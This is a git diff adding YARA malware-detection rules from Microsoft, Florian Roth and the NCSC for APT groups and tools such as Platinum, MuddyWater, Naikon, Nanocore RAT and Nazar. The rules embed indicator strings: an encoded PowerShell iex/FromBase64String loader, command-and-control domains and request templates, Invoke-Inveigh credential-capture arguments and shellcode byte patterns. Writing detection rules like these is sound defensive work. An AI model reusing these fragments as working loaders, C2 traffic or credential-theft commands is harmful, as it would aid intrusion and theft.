+		id = "4faffe66-63fc-5498-be59-dbbbb909ad74"
+	strings:
+		$str1 = "++[%s^^unknown^^%s]++"
+		$str2 = "vtfs43/emm"
+		$str3 = {33 C9 39 4C 24 08 7E 10 8B 44 24 04 03 C1 80 00 08 41 3B 4C 24 08 7C F0 C3}
+
+	condition:
+		$str1 and $str2 and $str3
+}
+
+rule Trojan_Win32_Plapiio : Platinum
+{
+	meta:
+		author = "Microsoft"
+		description = "JPin backdoor"
+		original_sample_sha1 = "3119de80088c52bd8097394092847cd984606c88"
+		unpacked_sample_sha1 = "3acb8fe2a5eb3478b4553907a571b6614eb5455c"
+		activity_group = "Platinum"
+		version = "1.0"
+		last_modified = "2016-04-12"
+
+		id = "538086b5-eb06-5e41-90d4-ab8f2b001c42"
+	strings:
+		$str1 = "ServiceMain"
+		$str2 = "Startup"
+		$str3 = {C6 45 ?? 68 C6 45 ?? 4D C6 45 ?? 53 C6 45 ?? 56 C6 45 ?? 6D C6 45 ?? 6D}
+
+	condition:
+		$str1 and $str2 and $str3
+}
+
+rule Trojan_Win32_Plabit : Platinum
+{
+	meta:
+		author = "Microsoft"
+		description = "Installer component"
+		sample_sha1 = "6d1169775a552230302131f9385135d385efd166"
+		activity_group = "Platinum"
+		version = "1.0"
+		last_modified = "2016-04-12"
+
+		id = "cee48cbb-f980-50cc-b28a-2e80e7f1798b"
+	strings:
+		$str1 = {4b D3 91 49 A1 80 91 42 83 B6 33 28 36 6B 90 97}
+		$str2 = "GetInstanceW"
+		$str3 = {8B D0 83 E2 1F 8A 14 0A 30 14 30 40 3B 44 24 04 72 EE}
+
+	condition:
+		$str1 and $str2 and $str3
+}
+
+rule Trojan_Win32_Placisc2 : Platinum
+{
+	meta:
+		author = "Microsoft"
+		description = "Dipsind variant"
+		original_sample_sha1 = "bf944eb70a382bd77ee5b47548ea9a4969de0527"
+		unpacked_sample_sha1 = "d807648ddecc4572c7b04405f496d25700e0be6e"
+		activity_group = "Platinum"
+		version = "1.0"
+		last_modified = "2016-04-12"
+
+		id = "a5557cfa-354c-5913-9b63-f53ffb294796"
+	strings:
+		$str1 = {76 16 8B D0 83 E2 07 8A 4C 14 24 8A 14 18 32 D1 88 14 18 40 3B C7 72 EA}
+		$str2 = "VPLRXZHTU"
+		$str3 = "%d) Command:%s"
+		$str4 = {0D 0A 2D 2D 2D 2D 2D 09 2D 2D 2D 2D 2D 2D 0D 0A}
+
+	condition:
+		$str1 and $str2 and $str3 and $str4
+}
+
+rule Trojan_Win32_Placisc3 : Platinum
+{
+	meta:
+		author = "Microsoft"
+		description = "Dipsind variant"
+		original_sample_sha1 = "1b542dd0dacfcd4200879221709f5fa9683cdcda"
+		unpacked_sample_sha1 = "bbd4992ee3f3a3267732151636359cf94fb4575d"
+		activity_group = "Platinum"
+		version = "1.0"
+		last_modified = "2016-04-12"
+
+		id = "f2089236-8227-5042-9086-fb77aebd147f"
+	strings:
+		$str1 = {BA 6E 00 00 00 66 89 95 ?? ?? FF FF B8 73 00 00 00 66 89 85 ?? ?? FF FF B9 64 00 00 00 66 89 8D ?? ?? FF FF BA 65 00 00 00 66 89 95 ?? ?? FF FF B8 6C 00 00 00}
+		$str2 = "VPLRXZHTU"
+		$str3 = {8B 44 24 ?? 8A 04 01 41 32 C2 3B CF 7C F2 88 03}
+
+	condition:
+		$str1 and $str2 and $str3
+}
+
+rule Trojan_Win32_Placisc4 : Platinum
+{
+	meta:
+		author = "Microsoft"
+		description = "Installer for Dipsind variant"
+		original_sample_sha1 = "3d17828632e8ff1560f6094703ece5433bc69586"
+		unpacked_sample_sha1 = "2abb8e1e9cac24be474e4955c63108ff86d1a034"
+		activity_group = "Platinum"
+		version = "1.0"
+		last_modified = "2016-04-12"
+
+		id = "04770059-06ca-5315-a7b3-0e9fbcecfc57"
+	strings:
+		$str1 = {8D 71 01 8B C6 99 BB 0A 00 00 00 F7 FB 0F BE D2 0F BE 04 39 2B C2 88 04 39 84 C0 74 0A}
+		$str2 = {6A 04 68 00 20 00 00 68 00 00 40 00 6A 00 FF D5}
+		$str3 = {C6 44 24 ?? 64 C6 44 24 ?? 6F C6 44 24 ?? 67 C6 44 24 ?? 32 C6 44 24 ?? 6A}
+
+	condition:
+		$str1 and $str2 and $str3
+}
+
+rule Trojan_Win32_Plakpers : Platinum
+{
+	meta:
+		author = "Microsoft"
+		description = "Injector / loader component"
+		original_sample_sha1 = "fa083d744d278c6f4865f095cfd2feabee558056"
+		unpacked_sample_sha1 = "3a678b5c9c46b5b87bfcb18306ed50fadfc6372e"
+		activity_group = "Platinum"
+		version = "1.0"
+		last_modified = "2016-04-12"
+
+		id = "d37c6ac5-ca46-5fb2-80bd-ab63c8dbcd21"
+	strings:
+		$str1 = "MyFileMappingObject"
+		$str2 = "[%.3u]  %s  %s  %s [%s:" wide
+		$str3 = "%s\\{%s}\\%s" wide
+
+	condition:
+		$str1 and $str2 and $str3
+}
+
+rule Trojan_Win32_Plainst2 : Platinum
+{
+	meta:
+		author = "Microsoft"
+		description = "Zc tool"
+		original_sample_sha1 = "3f2ce812c38ff5ac3d813394291a5867e2cddcf2"
+		unpacked_sample_sha1 = "88ff852b1b8077ad5a19cc438afb2402462fbd1a"
+		activity_group = "Platinum"
+		version = "1.0"
+		last_modified = "2016-04-12"
+
+		id = "7202eeb5-269d-5e9a-9a93-bdf489639e74"
+	strings:
+		$str1 = "Connected [%s:%d]..."
+		$str2 = "reuse possible: %c"
+		$str3 = "] => %d%%\x0a"
+
+	condition:
+		$str1 and $str2 and $str3
+}
+
+rule Trojan_Win32_Plakpeer : Platinum
+{
+	meta:
+		author = "Microsoft"
+		description = "Zc tool v2"
+		original_sample_sha1 = "2155c20483528377b5e3fde004bb604198463d29"
+		unpacked_sample_sha1 = "dc991ef598825daabd9e70bac92c79154363bab2"
+		activity_group = "Platinum"
+		version = "1.0"
+		last_modified = "2016-04-12"
+
+		id = "e573279b-4a7b-5e15-8ab2-a77cd98a8b6e"
+	strings:
+		$str1 = "@@E0020(%d)" wide
+		$str2 = /exit.{0,3}@exit.{0,3}new.{0,3}query.{0,3}rcz.{0,3}scz/ wide
+		$str3 = "---###---" wide
+		$str4 = "---@@@---" wide
+
+	condition:
+		$str1 and $str2 and $str3 and $str4
+}
diff --git a/yara-Neo23x0/apt_muddywater.yar b/yara-Neo23x0/apt_muddywater.yar
new file mode 100644
index 0000000..8357df3
--- /dev/null
+++ b/yara-Neo23x0/apt_muddywater.yar
@@ -0,0 +1,66 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2018-02-26
+   Identifier: MuddyWater samples
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule MuddyWater_Mal_Doc_Feb18_1 {
+   meta:
+      description = "Detects malicious document used by MuddyWater"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research - TI2T"
+      date = "2018-02-26"
+      hash1 = "3d96811de7419a8c090a671d001a85f2b1875243e5b38e6f927d9877d0ff9b0c"
+      id = "5f275ee8-c6a9-532b-bc82-b109195171da"
+   strings:
+      /* iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String( */
+      $x1 = "aWV4KFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVuaWNvZGUuR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmco" ascii
+      /* Double Base64 encoded : Invoke-Expression */
+      $x2 = "U1FCdUFIWUFid0JyQUdVQUxRQkZBSGdBY0FCeUFHVUFjd0J6QUdrQWJ3QnVBQ0FBS"
+   condition:
+      uint16(0) == 0xcfd0 and filesize < 3000KB and 1 of them
+}
+
+rule MuddyWater_Mal_Doc_Feb18_2 {
+   meta:
+      description = "Detects malicious document used by MuddyWater"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research - TI2T"
+      date = "2018-02-26"
+      hash1 = "3d96811de7419a8c090a671d001a85f2b1875243e5b38e6f927d9877d0ff9b0c"
+      hash2 = "366d8b84a43a528e6aaf9ecfc38980b148f983967803914471ccf011b9bb0832"
+      id = "117e1d33-63a3-52c8-acf6-bc61959193db"
+   strings:
+      $s1 = "*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation" fullword wide
+      $s2 = "*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft " wide
+      $s3 = "*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Office16\\MSWORD.OLB#Microsoft Word 16.0 O" wide
+      $s4 = "scripting.filesystemobject$" fullword ascii
+      $s5 = "ID=\"{00000000-0000-0000-0000-000000000000}\"" fullword ascii
+   condition:
+      uint16(0) == 0xcfd0 and filesize < 6000KB and all of them
+}
+
+rule MAL_MuddyWater_DroppedTask_Jun18_1 {
+   meta:
+      description = "Detects a dropped Windows task as used by MudyWater in June 2018"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://app.any.run/tasks/719c94eb-0a00-47cc-b583-ad4f9e25ebdb"
+      date = "2018-06-12"
+      hash1 = "7ecc2e1817f655ece2bde39b7d6633f4f586093047ec5697a1fab6adc7e1da54"
+      id = "d9ef379d-161f-59f1-873e-3af12b24b76b"
+   strings:
+      $x1 = "%11%\\scrobj.dll,NI,c:" wide
+
+      $s1 = "AppAct = \"SOFTWARE\\Microsoft\\Connection Manager\"" fullword wide
+      $s2 = "[DefenderService]" fullword wide
+      $s3 = "UnRegisterOCXs=EventManager" fullword wide
+      $s4 = "ShortSvcName=\" \"" fullword wide
+   condition:
+      uint16(0) == 0xfeff and filesize < 1KB and ( 1 of ($x*) or 3 of them )
+}
diff --git a/yara-Neo23x0/apt_naikon.yar b/yara-Neo23x0/apt_naikon.yar
new file mode 100644
index 0000000..2421994
--- /dev/null
+++ b/yara-Neo23x0/apt_naikon.yar
@@ -0,0 +1,36 @@
+
+rule MAL_Backdoor_Naikon_APT_Sample1 {
+   meta:
+      description = "Detects backdoors related to the Naikon APT"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/7vHyvh"
+      date = "2015-05-14"
+		modified = "2023-01-06"
+      hash = "d5716c80cba8554eb79eecfb4aa3d99faf0435a1833ec5ef51f528146c758eba"
+      hash = "f5ab8e49c0778fa208baad660fe4fa40fc8a114f5f71614afbd6dcc09625cb96"
+      id = "ba79285b-7c7f-5b19-837e-6696e50a2866"
+   strings:
+      $x0 = "GET http://%s:%d/aspxabcdef.asp?%s HTTP/1.1" fullword ascii
+      $x1 = "POST http://%s:%d/aspxabcdefg.asp?%s HTTP/1.1" fullword ascii
+      $x2 = "greensky27.vicp.net" fullword ascii
+      $x3 = "\\tempvxd.vxd.dll" wide
+      $x5 = "otna.vicp.net" fullword ascii
+
+      $s1 = "User-Agent: webclient" fullword ascii
+      $s2 = "\\User.ini" ascii
+      $s3 = "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-EN; rv:1.7.12) Gecko/200" ascii
+      $s4 = "\\UserProfile.dll" wide
+      $s5 = "Connection:Keep-Alive: %d" fullword ascii
+      $s6 = "Referer: http://%s:%d/" ascii
+      $s7 = "%s %s %s %d %d %d " fullword ascii
+      $s8 = "%s--%s" fullword wide
+      $s9 = "Run File Success!" fullword wide
+      $s10 = "DRIVE_REMOTE" fullword wide
+      $s11 = "ProxyEnable" fullword wide
+      $s12 = "\\cmd.exe" wide
+   condition:
+      uint16(0) == 0x5a4d and filesize < 1000KB and
+      (
+         1 of ($x*) or 7 of ($s*)
+      )
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/apt_nanocore_rat.yar b/yara-Neo23x0/apt_nanocore_rat.yar
new file mode 100644
index 0000000..720ad5d
--- /dev/null
+++ b/yara-Neo23x0/apt_nanocore_rat.yar
@@ -0,0 +1,137 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2016-04-22
+   Identifier: Nanocore RAT
+*/
+
+rule Nanocore_RAT_Gen_1 {
+   meta:
+      description = "Detetcs the Nanocore RAT and similar malware"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/"
+      date = "2016-04-22"
+      score = 70
+      hash1 = "e707a7745e346c5df59b5aa4df084574ae7c204f4fb7f924c0586ae03b79bf06"
+      id = "b007e0ce-e64f-5027-95ff-d178383e3b59"
+   strings:
+      $x1 = "C:\\Users\\Logintech\\Dropbox\\Projects\\New folder\\Latest\\Benchmark\\Benchmark\\obj\\Release\\Benchmark.pdb" fullword ascii
+      $x2 = "RunPE1" fullword ascii
+      $x3 = "082B8C7D3F9105DC66A7E3267C9750CF43E9D325" fullword ascii
+      $x4 = "$374e0775-e893-4e72-806c-a8d880a49ae7" fullword ascii
+      $x5 = "Monitorinjection" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 100KB and ( 1 of them ) ) or ( 3 of them )
+}
+
+rule Nanocore_RAT_Gen_2 {
+   meta:
+      description = "Detetcs the Nanocore RAT"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      score = 100
+      reference = "https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/"
+      date = "2016-04-22"
+      hash1 = "755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050"
+      id = "74124961-3b0e-5808-b495-90437d3a5999"
+   strings:
+      $x1 = "NanoCore.ClientPluginHost" fullword ascii
+      $x2 = "IClientNetworkHost" fullword ascii
+      $x3 = "#=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 1000KB and 1 of them ) or ( all of them )
+}
+
+rule Nanocore_RAT_Sample_1 {
+   meta:
+      description = "Detetcs a certain Nanocore RAT sample"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      score = 75
+      reference = "https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/"
+      date = "2016-04-22"
+      hash2 = "b7cfc7e9551b15319c068aae966f8a9ff563b522ed9b1b42d19c122778e018c8"
+      id = "381d3caf-77de-544c-869c-4d9f0cae148f"
+   strings:
+      $x1 = "TbSiaEdJTf9m1uTnpjS.n9n9M7dZ7FH9JsBARgK" fullword wide
+      $x2 = "1EF0D55861681D4D208EC3070B720C21D885CB35" fullword ascii
+      $x3 = "popthatkitty.Resources.resources" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 900KB and ( 1 of ($x*) ) ) or ( all of them )
+}
+
+rule Nanocore_RAT_Sample_2 {
+   meta:
+      description = "Detetcs a certain Nanocore RAT sample"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      score = 75
+      reference = "https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/"
+      date = "2016-04-22"
+      hash1 = "51142d1fb6c080b3b754a92e8f5826295f5da316ec72b480967cbd68432cede1"
+      id = "81f6771a-29a3-5fa0-8d24-ea717d3c5251"
+   strings:
+      $s1 = "U4tSOtmpM" fullword ascii
+      $s2 = ")U71UDAU_QU_YU_aU_iU_qU_yU_" wide
+      $s3 = "Cy4tOtTmpMtTHVFOrR" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 40KB and all of ($s*)
+}
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2018-02-19
+   Identifier: NanoCore RAT
+   Reference: Internal Research - T2T
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Nanocore_RAT_Feb18_1 {
+   meta:
+      description = "Detects Nanocore RAT"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research - T2T"
+      date = "2018-02-19"
+      hash1 = "aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c"
+      id = "6db0c8a7-8c31-58a6-8732-de6663fec16b"
+   strings:
+      $x1 = "NanoCore Client.exe" fullword ascii
+      $x2 = "NanoCore.ClientPluginHost" fullword ascii
+
+      $s1 = "PluginCommand" fullword ascii
+      $s2 = "FileCommand" fullword ascii
+      $s3 = "PipeExists" fullword ascii
+      $s4 = "PipeCreated" fullword ascii
+      $s5 = "IClientLoggingHost" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 600KB and (
+        1 of ($x*) or
+        5 of them
+      )
+}
+
+rule Nanocore_RAT_Feb18_2 {
+   meta:
+      description = "Detects Nanocore RAT"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research - T2T"
+      date = "2018-02-19"
+      hash1 = "377ef8febfd8df1a57a7966043ff0c7b8f3973c2cf666136e6c04080bbf9881a"
+      id = "83a8ad4d-0bef-5ba2-aa10-eac5601f2c7b"
+   strings:
+      $s1 = "ResManagerRunnable" fullword ascii
+      $s2 = "TransformRunnable" fullword ascii
+      $s3 = "MethodInfoRunnable" fullword ascii
+      $s4 = "ResRunnable" fullword ascii
+      $s5 = "RunRunnable" fullword ascii
+      $s6 = "AsmRunnable" fullword ascii
+      $s7 = "ReadRunnable" fullword ascii
+      $s8 = "ExitRunnable" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 1000KB and all of them
+}
diff --git a/yara-Neo23x0/apt_nazar.yar b/yara-Neo23x0/apt_nazar.yar
new file mode 100644
index 0000000..5245470
--- /dev/null
+++ b/yara-Neo23x0/apt_nazar.yar
@@ -0,0 +1,49 @@
+rule APT_Nazar_Svchost_Commands {
+    meta:
+        description = "Detects Nazar's svchost based on supported commands"
+        author = "Itay Cohen"
+        date = "2020-04-26"
+        reference = "https://www.epicturla.com/blog/the-lost-nazar"
+        hash1 = "2fe9b76496a9480273357b6d35c012809bfa3ae8976813a7f5f4959402e3fbb6"
+        hash2 = "be624acab7dfe6282bbb32b41b10a98b6189ab3a8d9520e7447214a7e5c27728"
+        id = "3e02381d-de03-50c8-8bde-2974ee96b7c1"
+    strings:
+        $str1 = { 33 31 34 00 36 36 36 00 33 31 33 00 }
+        $str2 = { 33 31 32 00 33 31 35 00 35 35 35 00 }
+        $str3 = { 39 39 39 00 35 39 39 00 34 39 39 00 }
+        $str4 = { 32 30 39 00 32 30 31 00 32 30 30 00 }
+        $str5 = { 31 39 39 00 31 31 39 00 31 38 39 00 31 33 39 00 33 31 31 00 }
+    condition:
+        4 of them
+}
+
+rule APT_Nazar_Component_Guids {
+    meta:
+        description = "Detects Nazar Components by COM Objects' GUID"
+        author = "Itay Cohen"
+        date = "2020-04-27"
+        reference = "https://www.epicturla.com/blog/the-lost-nazar"
+        hash1 = "1110c3e34b6bbaadc5082fabbdd69f492f3b1480724b879a3df0035ff487fd6f"
+        hash2 = "1afe00b54856628d760b711534779da16c69f542ddc1bb835816aa92ed556390"
+        hash3 = "2caedd0b2ea45761332a530327f74ca5b1a71301270d1e2e670b7fa34b6f338e"
+        hash4 = "2fe9b76496a9480273357b6d35c012809bfa3ae8976813a7f5f4959402e3fbb6"
+        hash5 = "460eba344823766fe7c8f13b647b4d5d979ce4041dd5cb4a6d538783d96b2ef8"
+        hash6 = "4d0ab3951df93589a874192569cac88f7107f595600e274f52e2b75f68593bca"
+        hash7 = "75e4d73252c753cd8e177820eb261cd72fecd7360cc8ec3feeab7bd129c01ff6"
+        hash8 = "8fb9a22b20a338d90c7ceb9424d079a61ca7ccb7f78ffb7d74d2f403ae9fbeec"
+        hash9 = "967ac245e8429e3b725463a5c4c42fbdf98385ee6f25254e48b9492df21f2d0b"
+        hash10 = "be624acab7dfe6282bbb32b41b10a98b6189ab3a8d9520e7447214a7e5c27728"
+        hash11 = "d34a996826ea5a028f5b4713c797247913f036ca0063cc4c18d8b04736fa0b65"
+        hash12 = "d9801b4da1dbc5264e83029abb93e800d3c9971c650ecc2df5f85bcc10c7bd61"
+        hash13 = "eb705459c2b37fba5747c73ce4870497aa1d4de22c97aaea4af38cdc899b51d3"
+        id = "1bdc0b54-4903-559d-9037-450470fc7ef7"
+    strings:
+        $guid1_godown = { 98 B3 E5 F6 DF E3 6B 49 A2 AD C2 0F EA 30 DB FE } // Godown.dll IID
+        $guid2_godown = { 31 4B CB DB B8 21 0F 4A BC 69 0C 3C E3 B6 6D 00 } // Godown.dll CLSID
+        $guid3_godown = { AF 94 4E B6 6B D5 B4 48 B1 78 AF 07 23 E7 2A B5 } // probably Godown
+        $guid4_filesystem = { 79 27 AB 37 34 F2 9D 4D B3 FB 59 A3 FA CB 8D 60 } // Filesystem.dll CLSID
+        $guid6_filesystem = { 2D A1 2B 77 62 8A D3 4D B3 E8 92 DA 70 2E 6F 3D } // Filesystem.dll TypeLib IID
+        $guid5_filesystem = { AB D3 13 CF 1C 6A E8 4A A3 74 DE D5 15 5D 6A 88 } // Filesystem.dll 
+    condition:
+        any of them
+}
diff --git a/yara-Neo23x0/apt_ncsc_report_04_2018.yar b/yara-Neo23x0/apt_ncsc_report_04_2018.yar
new file mode 100644
index 0000000..25fd7b1
--- /dev/null
+++ b/yara-Neo23x0/apt_ncsc_report_04_2018.yar
@@ -0,0 +1,192 @@
+/*
+   Yara Rule Set
+   Author: NCSC (modified for performance reasons by Florian Roth)
+   Date: 2018-04-06
+   Identifier: Hostile state actors compromising UK organisations
+   Reference: https://www.ncsc.gov.uk/alerts/hostile-state-actors-compromising-uk-organisations-focus-engineering-and-industrial-control
+*/
+
+rule Bytes_used_in_AES_key_generation {
+   meta:
+      author = "NCSC"
+      description = "Detects Backdoor.goodor"
+      reference = "https://www.ncsc.gov.uk/alerts/hostile-state-actors-compromising-uk-organisations-focus-engineering-and-industrial-control"
+      date = "2018/04/06"
+      hash = "b5278301da06450fe4442a25dda2d83d21485be63598642573f59c59e980ad46"
+      id = "26a549dd-cbd2-5abc-8d9d-5ea354d0ece8"
+   strings:
+      $a1 = {35 34 36 35 4B 4A 55 54 5E 49 55 5F 29 7B 68 36 35 67 34 36 64 66 35 68}
+      /* $a2 = {fb ff ff ff 00 00}  disabled due to performance issues */
+   condition:
+      uint16(0) == 0x5a4d and filesize < 5000KB and all of ($a*)
+}
+
+rule Partial_Implant_ID {
+   meta:
+      author = "NCSC"
+      description = "Detects implant from NCSC report"
+      reference = "https://www.ncsc.gov.uk/alerts/hostile-state-actors-compromising-uk-organisations-focus-engineering-and-industrial-control"
+      date = "2018/04/06"
+      hash = "b5278301da06450fe4442a25dda2d83d21485be63598642573f59c59e980ad46"
+      id = "15144f4a-2c96-57f0-b7e9-adbac477c38a"
+   strings:
+      $a1 = {38 38 31 34 35 36 46 43}
+      /* $a2 = {fb ff ff ff 00 00} disabled due to performance issues */
+   condition:
+      uint16(0) == 0x5a4d and filesize < 1000KB and all of ($a*)
+}
+
+rule Sleep_Timer_Choice {
+   meta:
+      author = "NCSC"
+      description = "Detects malware from NCSC report"
+      reference = "https://www.ncsc.gov.uk/alerts/hostile-state-actors-compromising-uk-organisations-focus-engineering-and-industrial-control"
+      date = "2018/04/06"
+      hash = "b5278301da06450fe4442a25dda2d83d21485be63598642573f59c59e980ad46"
+      id = "c64db0dd-2858-5508-ac51-d3318113a060"
+   strings:
+      $a1 = {8b0424b90f00000083f9ff743499f7f98d420f}
+      /* $a2 = {fb ff ff ff 00 00} disabled due to performance issues */
+   condition:
+      uint16(0) == 0x5a4d and filesize < 1000KB and all of ($a*)
+}
+
+rule User_Function_String {
+   meta:
+      author = "NCSC"
+      description = "Detects user function string from NCSC report"
+      reference = "https://www.ncsc.gov.uk/alerts/hostile-state-actors-compromising-uk-organisations-focus-engineering-and-industrial-control"
+      date = "2018/04/06"
+      hash = "b5278301da06450fe4442a25dda2d83d21485be63598642573f59c59e980ad46"
+      id = "563ac6af-6b37-53c6-ae13-d97e31edb088"
+   strings:
+      /* $b1 = {fb ff ff ff 00 00} disabled due to performance issues */
+      $a2 = "e.RandomHashString"
+      $a3 = "e.Decode"
+      $a4 = "e.Decrypt"
+      $a5 = "e.HashStr"
+      $a6 = "e.FromB64"
+   condition:
+      /* $b1 and */ 4 of ($a*)
+}
+
+rule generic_shellcode_downloader_specific {
+  meta:
+    author = "NCSC"
+    description = "Detects Doorshell from NCSC report"
+    reference = "https://www.ncsc.gov.uk/alerts/hostile-state-actors-compromising-uk-organisations-focus-engineering-and-industrial-control"
+    date = "2018/04/06"
+    hash = "b8bc0611a7fd321d2483a0a9a505251e15c22402e0cfdc62c0258af53ed3658a"
+    id = "ddd25add-ff84-5106-ac3c-5d5b4c1ef2a9"
+  strings:
+    $push1 = {68 6C 6C 6F 63}
+    $push2 = {68 75 61 6C 41}
+    $push3 = {68 56 69 72 74}
+    $a = {BA 90 02 00 00 46 C1 C6 19 03 DD 2B F4 33 DE}
+    $b = {87 C0 81 F2 D1 19 89 14 C1 C8 1F FF E0}
+  condition:
+    (uint16(0) == 0x5A4D and uint16(uint32(0x3C)) == 0x4550) and ($a or $b) and @push1 < @push2 and @push2 < @push3
+}
+
+rule Batch_Script_To_Run_PsExec {
+   meta:
+      author = "NCSC"
+      description = "Detects malicious batch file from NCSC report"
+      reference = "https://www.ncsc.gov.uk/alerts/hostile-state-actors-compromising-uk-organisations-focus-engineering-and-industrial-control"
+      date = "2018/04/06"
+      hash = "b7d7c4bc8f9fd0e461425747122a431f93062358ed36ce281147998575ee1a18"
+      id = "1fbeeec8-a5bd-569e-b435-c7d82d32e47b"
+   strings:
+      $ = "Tokens=1 delims=" ascii
+      $ = "SET ws=%1" ascii
+      $ = "Checking %ws%" ascii
+      $ = "%TEMP%\\%ws%ns.txt" ascii
+      $ = "ps.exe -accepteula" ascii
+   condition:
+      3 of them
+}
+
+rule Batch_Powershell_Invoke_Inveigh {
+   meta:
+      author = "NCSC"
+      description = "Detects malicious batch file from NCSC report"
+      reference = "https://www.ncsc.gov.uk/alerts/hostile-state-actors-compromising-uk-organisations-focus-engineering-and-industrial-control"
+      date = "2018/04/06"
+      hash = "0a6b1b29496d4514f6485e78680ec4cd0296ef4d21862d8bf363900a4f8e3fd2"
+      id = "c5dab029-6515-5d58-9ccd-bf438ba692d5"
+   strings:
+      $ = "Inveigh.ps1" ascii
+      $ = "Invoke-Inveigh" ascii
+      $ = "-LLMNR N -HTTP N -FileOutput Y" ascii
+      $ = "powershell.exe" ascii
+   condition:
+      all of them
+}
+
+rule lnk_detect {
+   meta:
+      author = "NCSC"
+      description = "Detects malicious LNK file from NCSC report"
+      reference = "https://www.ncsc.gov.uk/alerts/hostile-state-actors-compromising-uk-organisations-focus-engineering-and-industrial-control"
+      date = "2018/04/06"
+      id = "76d382f3-b2f2-5ede-94b2-5ae8b766c194"
+   strings:
+      $lnk_magic = {4C 00 00 00 01 14 02 00 00 00 00 00 C0 00 00 00 00 00 00 46}
+      $lnk_target = {41 00 55 00 54 00 4F 00 45 00 58 00 45 00 43 00 2E 00 42 00 41 00 54}
+      $s1 = {5C 00 5C 00 31 00}
+      $s2 = {5C 00 5C 00 32 00}
+      $s3 = {5C 00 5C 00 33 00}
+      $s4 = {5C 00 5C 00 34 00}
+      $s5 = {5C 00 5C 00 35 00}
+      $s6 = {5C 00 5C 00 36 00}
+      $s7 = {5C 00 5C 00 37 00}
+      $s8 = {5C 00 5C 00 38 00}
+      $s9 = {5C 00 5C 00 39 00}
+   condition:
+      uint32be(0) == 0x4c000000 and
+      uint32be(4) == 0x01140200 and
+      (($lnk_magic at 0) and $lnk_target) and 1 of ($s*)
+}
+
+rule RDP_Brute_Strings {
+   meta:
+      author = "NCSC"
+      description = "Detects RDP brute forcer from NCSC report"
+      reference = "https://www.ncsc.gov.uk/alerts/hostile-state-actors-compromising-uk-organisations-focus-engineering-and-industrial-control"
+      date = "2018/04/06"
+      hash = "8234bf8a1b53efd2a452780a69666d1aedcec9eb1bb714769283ccc2c2bdcc65"
+      id = "d6f0cdbc-a910-5826-b25a-61c2924f8e2a"
+   strings:
+      $ = "RDP Brute" ascii wide
+      $ = "RdpChecker" ascii
+      $ = "RdpBrute" ascii
+      $ = "Brute_Count_Password" ascii
+      $ = "BruteIPList" ascii
+      $ = "Chilkat_Socket_Key" ascii
+      $ = "Brute_Sync_Stat" ascii
+      $ = "(Error! Hyperlink reference not valid.)" wide
+      $ = "BadRDP" wide
+      $ = "GoodRDP" wide
+      $ = "@echo off{0}:loop{0}del {1}{0}if exist {1} goto loop{0}del {2}{0}del \"{2}\"" wide
+      $ = "Coded by z668" wide
+   condition:
+      4 of them
+}
+
+rule WEBSHELL_Z_WebShell_1 {
+   meta:
+      author = "NCSC"
+      description = "Detects Z Webshell from NCSC report"
+      reference = "https://www.ncsc.gov.uk/alerts/hostile-state-actors-compromising-uk-organisations-focus-engineering-and-industrial-control"
+      date = "2018/04/06"
+      old_rule_name = "Z_WebShell"
+      hash = "ace12552f3a980f1eed4cadb02afe1bfb851cafc8e58fb130e1329719a07dbf0"
+      id = "f4b50760-bd3a-5e1f-bf32-50f16a42c381"
